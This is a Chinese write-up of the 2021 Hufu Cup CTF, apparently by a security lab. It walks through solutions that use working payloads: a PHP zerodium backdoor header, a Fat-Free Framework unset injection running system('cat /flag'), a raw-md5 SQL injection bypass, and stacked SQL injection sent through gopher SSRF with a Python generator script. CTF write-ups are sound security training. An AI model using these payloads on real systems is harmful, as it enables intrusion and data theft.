日期:2021年03月02日
作者:宸极实验室
介绍:虎符杯的 WP,成功进入线下。
小编提示:关注 『宸极实验室』,回复 『虎符-2021』,即可获取全部题目附件。
MISC
0x01 你会日志分析吗
打开日志看到SQL语句中包含sleep(2)
,意识到是时间盲注,立马开始写辅助脚本简单处理,思路如下:
先使用正则表达式匹配出时间相关字符串,进行时间差计算,获取下标,然后从原始数据中提取同下标数据,最后提取ascii
码进行转化
辅助脚本如下:
from datetime import datetime with open('time.txt','r') as f: data = f.readlines() timel = [] for i in data: t = datetime.strptime(i.strip(),"%d/%m/%Y:%H:%M:%S") timel.append(t) indexl = [] for j in range(1,len(timel)): tt = timel[j]-timel[j-1] if tt.seconds >= 2: indexl.append(j-1) continue dl = [] with open("../Downloads/access.log",'r') as ff: dd = ff.readlines() for i in indexl: dl.append(dd[i].strip()) for i in dl: print i
提取出来的数据如下:
提取出的数据中,红框处为关键数据,使用正则提取后进行转化得到flag
flag{You_are_so_great}
WEB
0x01 签到
一开始毫无头绪,后来放出提示是zerodiums
后门,直接添加http
头:User-Agentt: zerodiumsystem("cat /flag");
,即可获取flag
。
flag{d4fd8736-4a6b-498a-9c5a-30538a4fd6ca}
0x02 unsetme
题目代码如下:
<?php // Kickstart the framework $f3=require('lib/base.php'); $f3->set('DEBUG',1); if ((float)PCRE_VERSION<8.0) trigger_error('PCRE version is out of date'); // Load configuration highlight_file(__FILE__); $a=$_GET['a']; unset($f3->$a); $f3->run();
明显是Fat free framework
框架 ,跟ciscn2020
的一个题目类似,但不同的是,这次不是反序列化。
虽然但是,先去Github
下载个源码,本地起一个测试环境。
很明显可以看到
__unset -> offsetunset -> clear
直接定位到clear 530
行
简单的加几行调试代码
echo $val; echo '<br>'; echo 'unset('.$val.');';
简单的测试一下:
通过以下不断的调试,最终确定了payload
:
?a=aaa// ?a=aaa]// ?a=aaa[]// ?a=aaa[]);//
接下来就可以拼接php
语句执行命令了。
?a=aaa[]);system('whoami');//
?a=aaa[]);system('cat /flag');//
flag{908fc868-86fc-4873-b2ba-82cfdf06f7f3}
0x03 “慢慢做”管理系统
首先,根据提示的sql
语句
SELECT * FROM users WHERE password = '".md5($password,true)."' limit 0,1";
就是一个简单hash
绕过。
md5(string, raw) raw 参数可选,默认为`false` true:返回16字符2进制格式 false:返回32字符16进制格式
简单来说就是true
将16进制的md5
转化为字符了,如果某一字符串的md5
恰好能够产生如'or '
之类的注入语句,就可以进行注入了。
常用的payload
是ffifdyop
,但题目过滤了。
根据文章https://cvk.posthaven.com/sql-injection-with-raw-md5-hashes
找到了另一个
129581926211651571912466741651878684928
帐号随意,即可登录成功。
登录后页面为ssrf
。
仅允许gopher
协议,由此可想到:redis,mysql,post
探测一下端口,仅发现 存在80
和3306
尝试多次mysql
的payload
,均失败。
根据题目描述,发现存在admin.php
,访问后发现是post
登录框,经过尝试发现,存在注入。
username=admin'or'1'='1&password=1
很明显,我们需要找到“真实”的admin
表。
经过对mysql
关键字的fuzz
,发现过滤了select,mid
等绝大部分关键字。
布尔盲注,报错注入均失败。
但是,由于回显是数组形式,联想到强网杯2019随便注的题目,尝试堆叠注入。
username=admin';show tables;#&password=1
gopher://127.0.0.1:80/_POST%20/admin.php%20HTTP/1.1%0D%0AHost%3A%20127.0.0.1%0D%0AContent-Type%3A%20application/x-www-form-urlencoded%0D%0AContent-Length%3A%2040%0D%0A%0D%0Ausername%3Dadmin%27%3Bshow%20tables%3B%23%26password%3D1%0D%0A
发现存在另一个表
username=admin';desc `real_admin_here_do_you_find`;#&password=1
表里确实是我们需要的帐号密码
接下来可以通过重命名的方式,来获取我们想要的数据。
payload = "username=admin';rename table fake_admin to fake_admin1;rename table `real_admin_here_do_you_find` to fake_admin;#&password=1" payload = "username=admin'or'1'='1&password=1"
首先更改表名,之后通过万能密码列出当前表数据,即可得到帐号密码。
由于将表名修改了,所以需要重新下发容器。
之后通过构造登录数据包,发现跳转到了flag.php
。
tips:这里有个小坑,username并不是admin_inner而是admin,不清楚是为什么。
通过修改cookie
,即可得到flag
生成payload脚本如下:
import urllib import requests #payload = "username=admin';rename table fake_admin to fake_admin1;rename table `real_admin_here_do_you_find` to fake_admin;#&password=1" #payload = "username=admin'or'1'='1&password=1" payload = "username=admin_inner&password=5fb4e07de914cfc82afb44vbaf402203" test =\ """POST /admin.php HTTP/1.1 Host: 127.0.0.1 Content-Type: application/x-www-form-urlencoded Content-Length: %d %s """ % (len(payload),payload) tmp = urllib.parse.quote(test) new = tmp.replace('%0A','%0D%0A') result = '_'+new print('gopher://127.0.0.1:80/'+result)
flag{3b8354bc-7b0c-4f12-9651-17d28a112874}
REVERSE
0x01 redemption_code
下载附件,发现是mips
架构下的程序。
刚好前段时间泄露的IDA 7.5 SP3
版本可以支持反编译mips
架构程序,对其进行反编译。
是一个使用C++
语言编写的程序,分析程序主体,发现其关键函数。
直接静态分析算法实现逻辑,发现就是实现了一个数据的存储,实现了s[input[i]] = i + 1
类型的存储结构。包括最后比较的时候,也是拿固定字符串与s
数组进行比较。
所以直接去找传入的固定字符串即可。
由于输入被限制为14位。所以可以截取出flag
。
flag{Ninja Must Die}
来源:freebuf.com 2021-04-07 16:09:11 by: 宸极实验室Sec
请登录后发表评论
注册